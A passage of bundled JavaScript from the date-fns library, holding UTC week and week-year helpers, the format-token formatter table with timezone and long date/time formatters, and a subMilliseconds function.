function getUTCDayOfYear (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var timestamp = date.getTime();
  date.setUTCMonth(0, 1);
  date.setUTCHours(0, 0, 0, 0);
  var startOfYearTimestamp = date.getTime();
  var difference = timestamp - startOfYearTimestamp;
  return Math.floor(difference / MILLISECONDS_IN_DAY) + 1
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function startOfUTCISOWeek (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var weekStartsOn = 1;

  var date = toDate(dirtyDate, dirtyOptions);
  var day = date.getUTCDay();
  var diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;

  date.setUTCDate(date.getUTCDate() - diff);
  date.setUTCHours(0, 0, 0, 0);
  return date
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function getUTCISOWeekYear (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var year = date.getUTCFullYear();

  var fourthOfJanuaryOfNextYear = new Date(0);
  fourthOfJanuaryOfNextYear.setUTCFullYear(year + 1, 0, 4);
  fourthOfJanuaryOfNextYear.setUTCHours(0, 0, 0, 0);
  var startOfNextYear = startOfUTCISOWeek(fourthOfJanuaryOfNextYear, dirtyOptions);

  var fourthOfJanuaryOfThisYear = new Date(0);
  fourthOfJanuaryOfThisYear.setUTCFullYear(year, 0, 4);
  fourthOfJanuaryOfThisYear.setUTCHours(0, 0, 0, 0);
  var startOfThisYear = startOfUTCISOWeek(fourthOfJanuaryOfThisYear, dirtyOptions);

  if (date.getTime() >= startOfNextYear.getTime()) {
    return year + 1
  } else if (date.getTime() >= startOfThisYear.getTime()) {
    return year
  } else {
    return year - 1
  }
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function startOfUTCISOWeekYear (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var year = getUTCISOWeekYear(dirtyDate, dirtyOptions);
  var fourthOfJanuary = new Date(0);
  fourthOfJanuary.setUTCFullYear(year, 0, 4);
  fourthOfJanuary.setUTCHours(0, 0, 0, 0);
  var date = startOfUTCISOWeek(fourthOfJanuary, dirtyOptions);
  return date
}

var MILLISECONDS_IN_WEEK = 604800000;

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function getUTCISOWeek (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var diff = startOfUTCISOWeek(date, dirtyOptions).getTime() - startOfUTCISOWeekYear(date, dirtyOptions).getTime();

  // Round the number of days to the nearest integer
  // because the number of milliseconds in a week is not constant
  // (e.g. it's different in the week of the daylight saving time clock shift)
  return Math.round(diff / MILLISECONDS_IN_WEEK) + 1
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function startOfUTCWeek (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var options = dirtyOptions || {};
  var locale = options.locale;
  var localeWeekStartsOn = locale && locale.options && locale.options.weekStartsOn;
  var defaultWeekStartsOn = localeWeekStartsOn == null ? 0 : toInteger(localeWeekStartsOn);
  var weekStartsOn = options.weekStartsOn == null ? defaultWeekStartsOn : toInteger(options.weekStartsOn);

  // Test if weekStartsOn is between 0 and 6 _and_ is not NaN
  if (!(weekStartsOn >= 0 && weekStartsOn <= 6)) {
    throw new RangeError('weekStartsOn must be between 0 and 6 inclusively')
  }

  var date = toDate(dirtyDate, options);
  var day = date.getUTCDay();
  var diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;

  date.setUTCDate(date.getUTCDate() - diff);
  date.setUTCHours(0, 0, 0, 0);
  return date
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function getUTCWeekYear (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var year = date.getUTCFullYear();

  var options = dirtyOptions || {};
  var locale = options.locale;
  var localeFirstWeekContainsDate = locale &&
    locale.options &&
    locale.options.firstWeekContainsDate;
  var defaultFirstWeekContainsDate =
    localeFirstWeekContainsDate == null
      ? 1
      : toInteger(localeFirstWeekContainsDate);
  var firstWeekContainsDate =
    options.firstWeekContainsDate == null
      ? defaultFirstWeekContainsDate
      : toInteger(options.firstWeekContainsDate);

  // Test if weekStartsOn is between 1 and 7 _and_ is not NaN
  if (!(firstWeekContainsDate >= 1 && firstWeekContainsDate <= 7)) {
    throw new RangeError('firstWeekContainsDate must be between 1 and 7 inclusively')
  }

  var firstWeekOfNextYear = new Date(0);
  firstWeekOfNextYear.setUTCFullYear(year + 1, 0, firstWeekContainsDate);
  firstWeekOfNextYear.setUTCHours(0, 0, 0, 0);
  var startOfNextYear = startOfUTCWeek(firstWeekOfNextYear, dirtyOptions);

  var firstWeekOfThisYear = new Date(0);
  firstWeekOfThisYear.setUTCFullYear(year, 0, firstWeekContainsDate);
  firstWeekOfThisYear.setUTCHours(0, 0, 0, 0);
  var startOfThisYear = startOfUTCWeek(firstWeekOfThisYear, dirtyOptions);

  if (date.getTime() >= startOfNextYear.getTime()) {
    return year + 1
  } else if (date.getTime() >= startOfThisYear.getTime()) {
    return year
  } else {
    return year - 1
  }
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function startOfUTCWeekYear (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var options = dirtyOptions || {};
  var locale = options.locale;
  var localeFirstWeekContainsDate = locale &&
    locale.options &&
    locale.options.firstWeekContainsDate;
  var defaultFirstWeekContainsDate =
    localeFirstWeekContainsDate == null
      ? 1
      : toInteger(localeFirstWeekContainsDate);
  var firstWeekContainsDate =
    options.firstWeekContainsDate == null
      ? defaultFirstWeekContainsDate
      : toInteger(options.firstWeekContainsDate);

  var year = getUTCWeekYear(dirtyDate, dirtyOptions);
  var firstWeek = new Date(0);
  firstWeek.setUTCFullYear(year, 0, firstWeekContainsDate);
  firstWeek.setUTCHours(0, 0, 0, 0);
  var date = startOfUTCWeek(firstWeek, dirtyOptions);
  return date
}

var MILLISECONDS_IN_WEEK$1 = 604800000;

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function getUTCWeek (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var diff = startOfUTCWeek(date, dirtyOptions).getTime() - startOfUTCWeekYear(date, dirtyOptions).getTime();

  // Round the number of days to the nearest integer
  // because the number of milliseconds in a week is not constant
  // (e.g. it's different in the week of the daylight saving time clock shift)
  return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1
}

var dayPeriodEnum = {
  am: 'am',
  pm: 'pm',
  midnight: 'midnight',
  noon: 'noon',
  morning: 'morning',
  afternoon: 'afternoon',
  evening: 'evening',
  night: 'night'
};

/*
 * |     | Unit                           |     | Unit                           |
 * |-----|--------------------------------|-----|--------------------------------|
 * |  a  | AM, PM                         |  A* | Milliseconds in day            |
 * |  b  | AM, PM, noon, midnight         |  B  | Flexible day period            |
 * |  c  | Stand-alone local day of week  |  C* | Localized hour w/ day period   |
 * |  d  | Day of month                   |  D  | Day of year                    |
 * |  e  | Local day of week              |  E  | Day of week                    |
 * |  f  |                                |  F* | Day of week in month           |
 * |  g* | Modified Julian day            |  G  | Era                            |
 * |  h  | Hour [1-12]                    |  H  | Hour [0-23]                    |
 * |  i! | ISO day of week                |  I! | ISO week of year               |
 * |  j* | Localized hour w/ day period   |  J* | Localized hour w/o day period  |
 * |  k  | Hour [1-24]                    |  K  | Hour [0-11]                    |
 * |  l* | (deprecated)                   |  L  | Stand-alone month              |
 * |  m  | Minute                         |  M  | Month                          |
 * |  n  |                                |  N  |                                |
 * |  o! | Ordinal number modifier        |  O  | Timezone (GMT)                 |
 * |  p! | Long localized time            |  P! | Long localized date            |
 * |  q  | Stand-alone quarter            |  Q  | Quarter                        |
 * |  r* | Related Gregorian year         |  R! | ISO week-numbering year        |
 * |  s  | Second                         |  S  | Fraction of second             |
 * |  t! | Seconds timestamp              |  T! | Milliseconds timestamp         |
 * |  u  | Extended year                  |  U* | Cyclic year                    |
 * |  v* | Timezone (generic non-locat.)  |  V* | Timezone (location)            |
 * |  w  | Local week of year             |  W* | Week of month                  |
 * |  x  | Timezone (ISO-8601 w/o Z)      |  X  | Timezone (ISO-8601)            |
 * |  y  | Year (abs)                     |  Y  | Local week-numbering year      |
 * |  z  | Timezone (specific non-locat.) |  Z* | Timezone (aliases)             |
 *
 * Letters marked by * are not implemented but reserved by Unicode standard.
 *
 * Letters marked by ! are non-standard, but implemented by date-fns:
 * - `o` modifies the previous token to turn it into an ordinal (see `format` docs)
 * - `i` is ISO day of week. For `i` and `ii` is returns numeric ISO week days,
 *   i.e. 7 for Sunday, 1 for Monday, etc.
 * - `I` is ISO week of year, as opposed to `w` which is local week of year.
 * - `R` is ISO week-numbering year, as opposed to `Y` which is local week-numbering year.
 *   `R` is supposed to be used in conjunction with `I` and `i`
 *   for universal ISO week-numbering date, whereas
 *   `Y` is supposed to be used in conjunction with `w` and `e`
 *   for week-numbering date specific to the locale.
 * - `P` is long localized date format
 * - `p` is long localized time format
 */

var formatters = {
  // Era
  G: function (date, token, localize) {
    var era = date.getUTCFullYear() > 0 ? 1 : 0;
    switch (token) {
      // AD, BC
      case 'G':
      case 'GG':
      case 'GGG':
        return localize.era(era, {width: 'abbreviated'})
      // A, B
      case 'GGGGG':
        return localize.era(era, {width: 'narrow'})
      // Anno Domini, Before Christ
      case 'GGGG':
      default:
        return localize.era(era, {width: 'wide'})
    }
  },

  // Year
  y: function (date, token, localize, options) {
    // From http://www.unicode.org/reports/tr35/tr35-31/tr35-dates.html#Date_Format_tokens
    // | Year     |     y | yy |   yyy |  yyyy | yyyyy |
    // |----------|-------|----|-------|-------|-------|
    // | AD 1     |     1 | 01 |   001 |  0001 | 00001 |
    // | AD 12    |    12 | 12 |   012 |  0012 | 00012 |
    // | AD 123   |   123 | 23 |   123 |  0123 | 00123 |
    // | AD 1234  |  1234 | 34 |  1234 |  1234 | 01234 |
    // | AD 12345 | 12345 | 45 | 12345 | 12345 | 12345 |

    var signedYear = date.getUTCFullYear();

    // Returns 1 for 1 BC (which is year 0 in JavaScript)
    var year = signedYear > 0 ? signedYear : 1 - signedYear;

    // Two digit year
    if (token === 'yy') {
      var twoDigitYear = year % 100;
      return addLeadingZeros(twoDigitYear, 2)
    }

    // Ordinal number
    if (token === 'yo') {
      return localize.ordinalNumber(year, {unit: 'year'})
    }

    // Padding
    return addLeadingZeros(year, token.length)
  },

  // Local week-numbering year
  Y: function (date, token, localize, options) {
    var signedWeekYear = getUTCWeekYear(date, options);
    var weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;

    // Two digit year
    if (token === 'YY') {
      var twoDigitYear = weekYear % 100;
      return addLeadingZeros(twoDigitYear, 2)
    }

    // Ordinal number
    if (token === 'Yo') {
      return localize.ordinalNumber(weekYear, {unit: 'year'})
    }

    // Padding
    return addLeadingZeros(weekYear, token.length)
  },

  // ISO week-numbering year
  R: function (date, token, localize, options) {
    var isoWeekYear = getUTCISOWeekYear(date, options);

    // Padding
    return addLeadingZeros(isoWeekYear, token.length)
  },

  // Extended year. This is a single number designating the year of this calendar system.
  // The main difference between `y` and `u` localizers are B.C. years:
  // | Year | `y` | `u` |
  // |------|-----|-----|
  // | AC 1 |   1 |   1 |
  // | BC 1 |   1 |   0 |
  // | BC 2 |   2 |  -1 |
  // Also `yy` always returns the last two digits of a year,
  // while `uu` pads single digit years to 2 characters and returns other years unchanged.
  u: function (date, token, localize, options) {
    var year = date.getUTCFullYear();
    return addLeadingZeros(year, token.length)
  },

  // Quarter
  Q: function (date, token, localize, options) {
    var quarter = Math.ceil((date.getUTCMonth() + 1) / 3);
    switch (token) {
      // 1, 2, 3, 4
      case 'Q':
        return String(quarter)
      // 01, 02, 03, 04
      case 'QQ':
        return addLeadingZeros(quarter, 2)
      // 1st, 2nd, 3rd, 4th
      case 'Qo':
        return localize.ordinalNumber(quarter, {unit: 'quarter'})
      // Q1, Q2, Q3, Q4
      case 'QQQ':
        return localize.quarter(quarter, {width: 'abbreviated', context: 'formatting'})
      // 1, 2, 3, 4 (narrow quarter; could be not numerical)
      case 'QQQQQ':
        return localize.quarter(quarter, {width: 'narrow', context: 'formatting'})
      // 1st quarter, 2nd quarter, ...
      case 'QQQQ':
      default:
        return localize.quarter(quarter, {width: 'wide', context: 'formatting'})
    }
  },

  // Stand-alone quarter
  q: function (date, token, localize, options) {
    var quarter = Math.ceil((date.getUTCMonth() + 1) / 3);
    switch (token) {
      // 1, 2, 3, 4
      case 'q':
        return String(quarter)
      // 01, 02, 03, 04
      case 'qq':
        return addLeadingZeros(quarter, 2)
      // 1st, 2nd, 3rd, 4th
      case 'qo':
        return localize.ordinalNumber(quarter, {unit: 'quarter'})
      // Q1, Q2, Q3, Q4
      case 'qqq':
        return localize.quarter(quarter, {width: 'abbreviated', context: 'standalone'})
      // 1, 2, 3, 4 (narrow quarter; could be not numerical)
      case 'qqqqq':
        return localize.quarter(quarter, {width: 'narrow', context: 'standalone'})
      // 1st quarter, 2nd quarter, ...
      case 'qqqq':
      default:
        return localize.quarter(quarter, {width: 'wide', context: 'standalone'})
    }
  },

  // Month
  M: function (date, token, localize, options) {
    var month = date.getUTCMonth();
    switch (token) {
      // 1, 2, ..., 12
      case 'M':
        return String(month + 1)
      // 01, 02, ..., 12
      case 'MM':
        return addLeadingZeros(month + 1, 2)
      // 1st, 2nd, ..., 12th
      case 'Mo':
        return localize.ordinalNumber(month + 1, {unit: 'month'})
      // Jan, Feb, ..., Dec
      case 'MMM':
        return localize.month(month, {width: 'abbreviated', context: 'formatting'})
      // J, F, ..., D
      case 'MMMMM':
        return localize.month(month, {width: 'narrow', context: 'formatting'})
      // January, February, ..., December
      case 'MMMM':
      default:
        return localize.month(month, {width: 'wide', context: 'formatting'})
    }
  },

  // Stand-alone month
  L: function (date, token, localize, options) {
    var month = date.getUTCMonth();
    switch (token) {
      // 1, 2, ..., 12
      case 'L':
        return String(month + 1)
      // 01, 02, ..., 12
      case 'LL':
        return addLeadingZeros(month + 1, 2)
      // 1st, 2nd, ..., 12th
      case 'Lo':
        return localize.ordinalNumber(month + 1, {unit: 'month'})
      // Jan, Feb, ..., Dec
      case 'LLL':
        return localize.month(month, {width: 'abbreviated', context: 'standalone'})
      // J, F, ..., D
      case 'LLLLL':
        return localize.month(month, {width: 'narrow', context: 'standalone'})
      // January, February, ..., December
      case 'LLLL':
      default:
        return localize.month(month, {width: 'wide', context: 'standalone'})
    }
  },

  // Local week of year
  w: function (date, token, localize, options) {
    var week = getUTCWeek(date, options);

    if (token === 'wo') {
      return localize.ordinalNumber(week, {unit: 'week'})
    }

    return addLeadingZeros(week, token.length)
  },

  // ISO week of year
  I: function (date, token, localize, options) {
    var isoWeek = getUTCISOWeek(date, options);

    if (token === 'Io') {
      return localize.ordinalNumber(isoWeek, {unit: 'week'})
    }

    return addLeadingZeros(isoWeek, token.length)
  },

  // Day of the month
  d: function (date, token, localize, options) {
    var dayOfMonth = date.getUTCDate();

    if (token === 'do') {
      return localize.ordinalNumber(dayOfMonth, {unit: 'date'})
    }

    return addLeadingZeros(dayOfMonth, token.length)
  },

  // Day of year
  D: function (date, token, localize, options) {
    var dayOfYear = getUTCDayOfYear(date, options);

    if (token === 'Do') {
      return localize.ordinalNumber(dayOfYear, {unit: 'dayOfYear'})
    }

    return addLeadingZeros(dayOfYear, token.length)
  },

  // Day of week
  E: function (date, token, localize, options) {
    var dayOfWeek = date.getUTCDay();
    switch (token) {
      // Tue
      case 'E':
      case 'EE':
      case 'EEE':
        return localize.day(dayOfWeek, {width: 'abbreviated', context: 'formatting'})
      // T
      case 'EEEEE':
        return localize.day(dayOfWeek, {width: 'narrow', context: 'formatting'})
      // Tu
      case 'EEEEEE':
        return localize.day(dayOfWeek, {width: 'short', context: 'formatting'})
      // Tuesday
      case 'EEEE':
      default:
        return localize.day(dayOfWeek, {width: 'wide', context: 'formatting'})
    }
  },

  // Local day of week
  e: function (date, token, localize, options) {
    var dayOfWeek = date.getUTCDay();
    var localDayOfWeek = ((dayOfWeek - options.weekStartsOn + 8) % 7) || 7;
    switch (token) {
      // Numerical value (Nth day of week with current locale or weekStartsOn)
      case 'e':
        return String(localDayOfWeek)
      // Padded numerical value
      case 'ee':
        return addLeadingZeros(localDayOfWeek, 2)
      // 1st, 2nd, ..., 7th
      case 'eo':
        return localize.ordinalNumber(localDayOfWeek, {unit: 'day'})
      case 'eee':
        return localize.day(dayOfWeek, {width: 'abbreviated', context: 'formatting'})
      // T
      case 'eeeee':
        return localize.day(dayOfWeek, {width: 'narrow', context: 'formatting'})
      // Tu
      case 'eeeeee':
        return localize.day(dayOfWeek, {width: 'short', context: 'formatting'})
      // Tuesday
      case 'eeee':
      default:
        return localize.day(dayOfWeek, {width: 'wide', context: 'formatting'})
    }
  },

  // Stand-alone local day of week
  c: function (date, token, localize, options) {
    var dayOfWeek = date.getUTCDay();
    var localDayOfWeek = ((dayOfWeek - options.weekStartsOn + 8) % 7) || 7;
    switch (token) {
      // Numerical value (same as in `e`)
      case 'c':
        return String(localDayOfWeek)
      // Padded numberical value
      case 'cc':
        return addLeadingZeros(localDayOfWeek, token.length)
      // 1st, 2nd, ..., 7th
      case 'co':
        return localize.ordinalNumber(localDayOfWeek, {unit: 'day'})
      case 'ccc':
        return localize.day(dayOfWeek, {width: 'abbreviated', context: 'standalone'})
      // T
      case 'ccccc':
        return localize.day(dayOfWeek, {width: 'narrow', context: 'standalone'})
      // Tu
      case 'cccccc':
        return localize.day(dayOfWeek, {width: 'short', context: 'standalone'})
      // Tuesday
      case 'cccc':
      default:
        return localize.day(dayOfWeek, {width: 'wide', context: 'standalone'})
    }
  },

  // ISO day of week
  i: function (date, token, localize, options) {
    var dayOfWeek = date.getUTCDay();
    var isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;
    switch (token) {
      // 2
      case 'i':
        return String(isoDayOfWeek)
      // 02
      case 'ii':
        return addLeadingZeros(isoDayOfWeek, token.length)
      // 2nd
      case 'io':
        return localize.ordinalNumber(isoDayOfWeek, {unit: 'day'})
      // Tue
      case 'iii':
        return localize.day(dayOfWeek, {width: 'abbreviated', context: 'formatting'})
      // T
      case 'iiiii':
        return localize.day(dayOfWeek, {width: 'narrow', context: 'formatting'})
      // Tu
      case 'iiiiii':
        return localize.day(dayOfWeek, {width: 'short', context: 'formatting'})
      // Tuesday
      case 'iiii':
      default:
        return localize.day(dayOfWeek, {width: 'wide', context: 'formatting'})
    }
  },

  // AM or PM
  a: function (date, token, localize) {
    var hours = date.getUTCHours();
    var dayPeriodEnumValue = (hours / 12) >= 1 ? 'pm' : 'am';

    switch (token) {
      case 'a':
      case 'aa':
      case 'aaa':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'abbreviated', context: 'formatting'})
      case 'aaaaa':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'narrow', context: 'formatting'})
      case 'aaaa':
      default:
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'wide', context: 'formatting'})
    }
  },

  // AM, PM, midnight, noon
  b: function (date, token, localize) {
    var hours = date.getUTCHours();
    var dayPeriodEnumValue;
    if (hours === 12) {
      dayPeriodEnumValue = dayPeriodEnum.noon;
    } else if (hours === 0) {
      dayPeriodEnumValue = dayPeriodEnum.midnight;
    } else {
      dayPeriodEnumValue = (hours / 12) >= 1 ? 'pm' : 'am';
    }

    switch (token) {
      case 'b':
      case 'bb':
      case 'bbb':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'abbreviated', context: 'formatting'})
      case 'bbbbb':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'narrow', context: 'formatting'})
      case 'bbbb':
      default:
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'wide', context: 'formatting'})
    }
  },

  // in the morning, in the afternoon, in the evening, at night
  B: function (date, token, localize) {
    var hours = date.getUTCHours();
    var dayPeriodEnumValue;
    if (hours >= 17) {
      dayPeriodEnumValue = dayPeriodEnum.evening;
    } else if (hours >= 12) {
      dayPeriodEnumValue = dayPeriodEnum.afternoon;
    } else if (hours >= 4) {
      dayPeriodEnumValue = dayPeriodEnum.morning;
    } else {
      dayPeriodEnumValue = dayPeriodEnum.night;
    }

    switch (token) {
      case 'B':
      case 'BB':
      case 'BBB':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'abbreviated', context: 'formatting'})
      case 'BBBBB':
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'narrow', context: 'formatting'})
      case 'BBBB':
      default:
        return localize.dayPeriod(dayPeriodEnumValue, {width: 'wide', context: 'formatting'})
    }
  },

  // Hour [1-12]
  h: function (date, token, localize, options) {
    var hours = date.getUTCHours() % 12;

    if (hours === 0) {
      hours = 12;
    }

    if (token === 'ho') {
      return localize.ordinalNumber(hours, {unit: 'hour'})
    }

    return addLeadingZeros(hours, token.length)
  },

  // Hour [0-23]
  H: function (date, token, localize, options) {
    var hours = date.getUTCHours();

    if (token === 'Ho') {
      return localize.ordinalNumber(hours, {unit: 'hour'})
    }

    return addLeadingZeros(hours, token.length)
  },

  // Hour [0-11]
  K: function (date, token, localize, options) {
    var hours = date.getUTCHours() % 12;

    if (token === 'Ko') {
      return localize.ordinalNumber(hours, {unit: 'hour'})
    }

    return addLeadingZeros(hours, token.length)
  },

  // Hour [1-24]
  k: function (date, token, localize, options) {
    var hours = date.getUTCHours();

    if (hours === 0) {
      hours = 24;
    }

    if (token === 'ko') {
      return localize.ordinalNumber(hours, {unit: 'hour'})
    }

    return addLeadingZeros(hours, token.length)
  },

  // Minute
  m: function (date, token, localize, options) {
    var minutes = date.getUTCMinutes();

    if (token === 'mo') {
      return localize.ordinalNumber(minutes, {unit: 'minute'})
    }

    return addLeadingZeros(minutes, token.length)
  },

  // Second
  s: function (date, token, localize, options) {
    var seconds = date.getUTCSeconds();

    if (token === 'so') {
      return localize.ordinalNumber(seconds, {unit: 'second'})
    }

    return addLeadingZeros(seconds, token.length)
  },

  // Fraction of second
  S: function (date, token, localize, options) {
    var numberOfDigits = token.length;
    var milliseconds = date.getUTCMilliseconds();
    var fractionalSeconds = Math.floor(milliseconds * Math.pow(10, numberOfDigits - 3));
    return addLeadingZeros(fractionalSeconds, numberOfDigits)
  },

  // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)
  X: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timezoneOffset = originalDate.getTimezoneOffset();

    if (timezoneOffset === 0) {
      return 'Z'
    }

    switch (token) {
      // Hours and optional minutes
      case 'X':
        return formatTimezoneWithOptionalMinutes(timezoneOffset)

      // Hours, minutes and optional seconds without `:` delimeter
      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
      // so this token always has the same output as `XX`
      case 'XXXX':
      case 'XX': // Hours and minutes without `:` delimeter
        return formatTimezone(timezoneOffset)

      // Hours, minutes and optional seconds with `:` delimeter
      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
      // so this token always has the same output as `XXX`
      case 'XXXXX':
      case 'XXX': // Hours and minutes with `:` delimeter
      default:
        return formatTimezone(timezoneOffset, ':')
    }
  },

  // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)
  x: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timezoneOffset = originalDate.getTimezoneOffset();

    switch (token) {
      // Hours and optional minutes
      case 'x':
        return formatTimezoneWithOptionalMinutes(timezoneOffset)

      // Hours, minutes and optional seconds without `:` delimeter
      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
      // so this token always has the same output as `xx`
      case 'xxxx':
      case 'xx': // Hours and minutes without `:` delimeter
        return formatTimezone(timezoneOffset)

      // Hours, minutes and optional seconds with `:` delimeter
      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
      // so this token always has the same output as `xxx`
      case 'xxxxx':
      case 'xxx': // Hours and minutes with `:` delimeter
      default:
        return formatTimezone(timezoneOffset, ':')
    }
  },

  // Timezone (GMT)
  O: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timezoneOffset = originalDate.getTimezoneOffset();

    switch (token) {
      // Short
      case 'O':
      case 'OO':
      case 'OOO':
        return 'GMT' + formatTimezoneShort(timezoneOffset, ':')
      // Long
      case 'OOOO':
      default:
        return 'GMT' + formatTimezone(timezoneOffset, ':')
    }
  },

  // Timezone (specific non-location)
  z: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timezoneOffset = originalDate.getTimezoneOffset();

    switch (token) {
      // Short
      case 'z':
      case 'zz':
      case 'zzz':
        return 'GMT' + formatTimezoneShort(timezoneOffset, ':')
      // Long
      case 'zzzz':
      default:
        return 'GMT' + formatTimezone(timezoneOffset, ':')
    }
  },

  // Seconds timestamp
  t: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timestamp = Math.floor(originalDate.getTime() / 1000);
    return addLeadingZeros(timestamp, token.length)
  },

  // Milliseconds timestamp
  T: function (date, token, localize, options) {
    var originalDate = options._originalDate || date;
    var timestamp = originalDate.getTime();
    return addLeadingZeros(timestamp, token.length)
  }
};

function addLeadingZeros (number, targetLength) {
  var sign = number < 0 ? '-' : '';
  var output = Math.abs(number).toString();
  while (output.length < targetLength) {
    output = '0' + output;
  }
  return sign + output
}

function formatTimezone (offset, dirtyDelimeter) {
  var delimeter = dirtyDelimeter || '';
  var sign = offset > 0 ? '-' : '+';
  var absOffset = Math.abs(offset);
  var hours = addLeadingZeros(Math.floor(absOffset / 60), 2);
  var minutes = addLeadingZeros(absOffset % 60, 2);
  return sign + hours + delimeter + minutes
}

function formatTimezoneWithOptionalMinutes (offset, dirtyDelimeter) {
  if (offset % 60 === 0) {
    var sign = offset > 0 ? '-' : '+';
    return sign + addLeadingZeros(Math.abs(offset) / 60, 2)
  }
  return formatTimezone(offset, dirtyDelimeter)
}

function formatTimezoneShort (offset, dirtyDelimeter) {
  var sign = offset > 0 ? '-' : '+';
  var absOffset = Math.abs(offset);
  var hours = Math.floor(absOffset / 60);
  var minutes = absOffset % 60;
  if (minutes === 0) {
    return sign + String(hours)
  }
  var delimeter = dirtyDelimeter || '';
  return sign + String(hours) + delimeter + addLeadingZeros(minutes, 2)
}

function dateLongFormatter (pattern, formatLong, options) {
  switch (pattern) {
    case 'P':
      return formatLong.date({width: 'short'})
    case 'PP':
      return formatLong.date({width: 'medium'})
    case 'PPP':
      return formatLong.date({width: 'long'})
    case 'PPPP':
    default:
      return formatLong.date({width: 'full'})
  }
}

function timeLongFormatter (pattern, formatLong, options) {
  switch (pattern) {
    case 'p':
      return formatLong.time({width: 'short'})
    case 'pp':
      return formatLong.time({width: 'medium'})
    case 'ppp':
      return formatLong.time({width: 'long'})
    case 'pppp':
    default:
      return formatLong.time({width: 'full'})
  }
}

function dateTimeLongFormatter (pattern, formatLong, options) {
  var matchResult = pattern.match(/(P+)(p+)?/);
  var datePattern = matchResult[1];
  var timePattern = matchResult[2];

  if (!timePattern) {
    return dateLongFormatter(pattern, formatLong)
  }

  var dateTimeFormat;

  switch (datePattern) {
    case 'P':
      dateTimeFormat = formatLong.dateTime({width: 'short'});
      break
    case 'PP':
      dateTimeFormat = formatLong.dateTime({width: 'medium'});
      break
    case 'PPP':
      dateTimeFormat = formatLong.dateTime({width: 'long'});
      break
    case 'PPPP':
    default:
      dateTimeFormat = formatLong.dateTime({width: 'full'});
      break
  }

  return dateTimeFormat
    .replace('{{date}}', dateLongFormatter(datePattern, formatLong))
    .replace('{{time}}', timeLongFormatter(timePattern, formatLong))
}

var longFormatters = {
  p: timeLongFormatter,
  P: dateTimeLongFormatter
};

/**
 * @name subMilliseconds
 * @category Millisecond Helpers
 * @summary Subtract the specified number of milliseconds from the given date.
 *
 * @description
 * Subtract the specified number of milliseconds from the given date.
 *
 * @param {Date|String|Number} date - the date to be changed
 * @param {Number} amount - the amount of milliseconds to be subtracted
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Date} the new date with the milliseconds subtracted
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Subtract 750 milliseconds from 10 July 2014 12:45:30.000:
 * var result = subMilliseconds(new Date(2014, 6, 10, 12, 45, 30, 0), 750)
 * //=> Thu Jul 10 2014 12:45:29.250
 */
function subMilliseconds (dirtyDate, dirtyAmount, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var amount = toInteger(dirtyAmount);
  return addMilliseconds(dirtyDate, -amount, dirtyOptions)
}

